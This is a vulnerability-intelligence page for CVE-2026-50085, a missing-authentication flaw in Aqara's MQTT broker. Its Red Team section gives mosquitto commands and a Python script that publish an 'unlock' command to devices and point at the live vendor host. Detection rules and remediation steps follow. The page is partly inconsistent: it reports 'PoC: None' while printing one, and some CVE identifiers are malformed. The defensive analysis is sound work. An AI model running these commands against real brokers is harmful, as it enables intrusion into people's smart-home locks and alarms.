☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aqara logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.6 🐛 CWE-306
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-50085

CVE-2026-50085 Missing Authentication in Aqara
📅 PUBLISHED: 2026-06-12 16:16 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v0 — source: runZero. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.62%
👁️
0.62% probability
15.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1078
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-50085 is a critical vulnerability in the Aqara Board service (op-test.aqara.com) that allows unauthenticated remote attackers to send arbitrary MQTT command payloads to the platform's HiveMQ broker. This flaw, classified as CWE-306 (Missing Authentication for Critical Function), enables an attacker to inject malicious MQTT messages without any credentials, potentially leading to device takeover when chained with other vulnerabilities (CVE-2026-50082, CVE-50083, CVE-50084). The CVSS score of 8.6 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the severe impact on integrity and availability, with limited confidentiality impact.

The Aqara ecosystem is a smart home IoT platform. This vulnerability exposes the MQTT broker, which is the central messaging backbone for device control and telemetry. An attacker can send arbitrary commands to any device connected to the broker, including locks, sensors, and cameras. The lack of authentication on the MQTT endpoint means that any internet-facing instance of the Aqara Board service is at risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a network service vulnerability in the Aqara Board service. However, the MQTT broker (HiveMQ) is a third-party component. The risk is that the Aqara platform has misconfigured the HiveMQ broker to accept unauthenticated connections. This is a supply chain configuration issue, not a package dependency issue.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
  • Base Score: 8.6 (High)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
  • Confidentiality (C): Low (L) – Limited information disclosure (e.g., device status).
  • Integrity (I): High (H) – Full control over device commands.
  • Availability (A): Low (L) – Potential to disrupt device operation.

Threat Level: High. The combination of network accessibility, no authentication, and high integrity impact makes this a critical threat for Aqara device owners. An attacker can lock/unlock doors, disable alarms, or manipulate sensor data.

Deep Dive & Mechanics

The Aqara Board service (op-test.aqara.com) exposes an MQTT endpoint that accepts connections without any authentication mechanism. MQTT is a publish/subscribe protocol where clients can publish messages to topics and subscribe to topics. In a properly secured deployment, the MQTT broker requires authentication (username/password or certificate) and authorization (topic-level access control).

In this vulnerability, the broker (HiveMQ) is configured to allow anonymous connections. The service forwards any received MQTT payload directly to the broker, which then distributes it to all subscribed devices. An attacker can craft MQTT packets to:

  1. Publish to device control topics (e.g., aqara/device/12345/command) to send arbitrary commands.
  2. Subscribe to device telemetry topics (e.g., aqara/device/12345/status) to eavesdrop on device state.
  3. Publish to system topics to trigger firmware updates or reset operations.

The vulnerability is compounded by the fact that the Aqara Board service itself does not validate the source of the MQTT messages. It acts as a transparent proxy, forwarding any payload it receives. This is a classic case of missing authentication for a critical function (CWE-306).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior versus expected secure behavior.

Vulnerable Code (Conceptual):

# Vulnerable MQTT handler in Aqara Board service
def handle_mqtt_message(client, userdata, message):
    # No authentication check
    broker.publish(message.topic, message.payload)

Patched Code (Expected):

# Patched MQTT handler with authentication
def handle_mqtt_message(client, userdata, message):
    if not authenticate_client(client):
        log.warning("Unauthenticated MQTT message rejected")
        return
    if not authorize_topic(client, message.topic):
        log.warning("Unauthorized topic access denied")
        return
    broker.publish(message.topic, message.payload)

The patch would require implementing client authentication (e.g., username/password or TLS client certificates) and topic-level access control lists (ACLs) on the HiveMQ broker.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Set up a local Aqara Board service instance (if available) or use the public op-test.aqara.com endpoint.
  2. Install an MQTT client (e.g., mosquitto_pub or paho-mqtt).
  3. Identify device topics through reconnaissance (e.g., subscribing to # wildcard).

Exploitation Steps:

  1. Connect to the MQTT broker without credentials:
    mosquitto_sub -h op-test.aqara.com -p 1883 -t "#" -v
    
  2. Observe device topics and payloads.
  3. Send a malicious command to a device:
    mosquitto_pub -h op-test.aqara.com -p 1883 -t "aqara/device/12345/command" -m '{"action":"unlock"}'
    
  4. Chain with other CVEs for full takeover (e.g., CVE-2026-50082 for device discovery).

Exploit Code (Python):

import paho.mqtt.client as mqtt

def exploit():
    client = mqtt.Client()
    client.connect("op-test.aqara.com", 1883, 60)
    # Subscribe to all topics to discover devices
    client.subscribe("#")
    # Publish a command to a known device
    client.publish("aqara/device/12345/command", '{"action":"unlock"}')
    client.loop_forever()

if __name__ == "__main__":
    exploit()

Blue Team

Detection Steps:

  1. Monitor MQTT broker logs for anonymous connections.
  2. Set up network monitoring for MQTT traffic on port 1883.
  3. Implement anomaly detection for unusual MQTT topics or payloads.
  4. Use the Sigma and Suricata rules provided in Detection Engineering.

Mitigation Steps:

  1. Immediately restrict access to the MQTT broker to trusted IPs only.
  2. Enable authentication on the HiveMQ broker (username/password or TLS).
  3. Implement topic-level ACLs to limit device control to authorized clients.
  4. Update the Aqara Board service to validate the source of MQTT messages.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • MQTT connections to op-test.aqara.com on port 1883 without TLS.
    • MQTT packets with topics like aqara/device/*/command from unknown IPs.
    • High volume of MQTT publish messages to device control topics.
  • Host IOCs:
    • Unauthorized MQTT client processes on the Aqara Board server.
    • Log entries showing anonymous MQTT connections.
  • File IOCs:
    • MQTT broker configuration files with allow_anonymous true (HiveMQ config).
    • Log files containing anonymous or unauthenticated connection messages.

Detection Engineering

YARA Rule

rule CVE_2026_50085_MQTT_Exploit {
    meta:
        description = "Detects MQTT packets targeting Aqara Board service without authentication"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-50085"
    strings:
        $mqtt_connect = { 10 ?? 00 04 4D 51 54 54 04 }  // MQTT CONNECT packet with protocol level 4
        $aqara_topic = /aqara\/device\/[0-9]+\/command/
        $anonymous_flag = { 00 00 }  // No username/password in CONNECT
    condition:
        $mqtt_connect and $aqara_topic and $anonymous_flag
}

Sigma Rule

title: Unauthenticated MQTT Connection to Aqara Board Service
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects MQTT connections to op-test.aqara.com without authentication
author: Valters IT
date: 2026-01-01
logsource:
    category: network_connection
    product: mqtt
detection:
    selection:
        destination_hostname: "op-test.aqara.com"
        destination_port: 1883
        mqtt_connect_flags: "0x00"  # No username/password flag
    condition: selection
falsepositives:
    - Legitimate testing environments
level: high
tags:
    - attack.t1190
    - cve.2026.50085

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2026-50085 Unauthenticated MQTT to Aqara Board"; flow:to_server; content:"|10|"; depth:1; content:"|00 04 4D 51 54 54 04|"; distance:0; within:8; content:"|00 00|"; distance:0; within:2; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable anonymous access on the HiveMQ broker by setting allow_anonymous false in the configuration file.
  2. Restrict network access to the MQTT broker using firewall rules (allow only trusted IPs).
  3. Enable TLS for MQTT connections to encrypt traffic and prevent eavesdropping.

Long-term Fixes:

  1. Implement authentication on the Aqara Board service (e.g., API keys, OAuth2).
  2. Add authorization checks for each MQTT topic (e.g., device-specific tokens).
  3. Monitor for patches from Aqara and apply them immediately.
  4. Conduct a security audit of the entire Aqara platform to identify similar misconfigurations.

Workarounds:

  • If the service cannot be patched, consider replacing the Aqara Board service with a custom proxy that enforces authentication.
  • Use a VPN to access the Aqara Board service, limiting exposure to the internet.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-50085/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.